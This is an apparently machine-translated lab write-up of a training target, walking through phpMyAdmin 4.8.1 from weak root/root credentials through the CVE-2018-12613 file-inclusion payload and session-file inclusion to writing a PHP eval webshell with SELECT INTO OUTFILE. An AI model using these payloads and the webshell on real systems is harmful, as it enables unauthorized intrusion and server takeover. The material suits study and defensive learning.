当前位置:网站首页>Moher college phpMyAdmin background file contains analysis traceability
Moher college phpMyAdmin background file contains analysis traceability
2022-07-04 07:44:00 【Lyswbb】
First, get the title and click to visit

Log in with a weak password after access , If login fails, open the privacy mode or change the browser
Account password :root root

Click on sql modular Yes sql Statement to make a query

First query sql Permission to write a sentence
We can see that its value is empty
secure-file-priv Parameters are used to limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() To which specified directory .
show global VARIABLES like '%secure%' 
Keep looking at mysql The absolute path of the installation , It can be found that it is installed in /var/lib/mysql/
show VARIABLES like 'datadir' 
Next, make sure mysql jurisdiction , You can see that here is the highest authority root
SELECT USER();
After you have the permission and absolute path, you can write a sentence directly , Try it first phpinfo
select '<?php phpinfo(); ?>' into outfile '/var/lib/mysql/test.php';When it is written in, the access fails , After thinking for a long time, I found that this is mysql The path of , Not the absolute path of the website

Continue to find ways to get the absolute path of the website According to the title, we can write a phpinfo, Through the absolute path of leakage shell, Ideas have , Direct drying
First, determine the database version , The version is 4.8.1. The number contained in the file is CVE-2018-12613

Direct use of payload Just include it
http://124.70.71.251:40917/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
First write a phpinfo Enter database
select '<?php phpinfo();?>'; 
Then call through File Inclusion phpinfo
First of all get session Value , In the construction parameters to access phpinfo, Get absolute path

http://124.70.71.251:45548/index.phpindex.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[value]
With an absolute path, you can write webshell 了 , Access directly after writing 1.php
select "<?php @eval($_POST['cmd']) ?>" into outfile "/var/www/html/1.php";
Use the management tool to log in and go directly to the root key.txt perhaps find / -name key.txt


边栏推荐
- Zephyr study notes 2, scheduling
- Leetcode 146. LRU 缓存
- One of the general document service practice series
- This article is enough for learning advanced mysql
- 墨者学院-Webmin未经身份验证的远程代码执行
- 2022-021ARTS:下半年開始
- Mysql database - function constraint multi table query transaction
- Leetcode (215) -- the kth largest element in the array
- Jianmu continuous integration platform v2.2.2 release
- Figure guessing game
猜你喜欢

Introduction to sap commerce cloud B2B organization function

Valentine's Day is coming! Without 50W bride price, my girlfriend was forcibly dragged away...
![[C language] open the door of C](/img/e0/2f107966423d6492c39995c77a445e.jpg)
[C language] open the door of C

Zephyr study notes 2, scheduling

节点基础~节点操作

MySQL中的文本处理函数整理,收藏速查

Linear algebra 1.1

socket inet_ pton() inet_ Ntop() function (a new network address translation function, which converts the expression format and numerical format to each other. The old ones are inet_aton(), INET_ ntoa

Zephyr 学习笔记2,Scheduling

在所有SwiftUI版本(1.0-4.0)中原生实现Charts图表视图之思路
随机推荐
谷歌官方回应:我们没有放弃TensorFlow,未来与JAX并肩发展
Book list | as the technical support Party of the Winter Olympics, Alibaba cloud's technology is written in these books!
Activiti common operation data table relationship
[untitled] notice on holding "2022 traditional fermented food and modern brewing technology"
Flask 常用组件
Application of isnull in database query
Unity opens the explorer from the inspector interface, selects and records the file path
墨者学院-PHPMailer远程命令执行漏洞溯源
How does dataframe calculate the average value of each row as another column
Project 1 household accounting software (goal + demand description + code explanation + basic fund and revenue and expenditure details record + realization of keyboard access)
神经网络入门(下)
Oracle-存储过程与函数
Practice (9-12 Lectures)
Unity 从Inspector界面打开资源管理器选择并记录文件路径
How to send mail with Jianmu Ci
Rhcsa the next day
论文学习——基于极值点特征的时间序列相似性查询方法
In the era of low code development, is it still needed?
University stage summary
猜数字游戏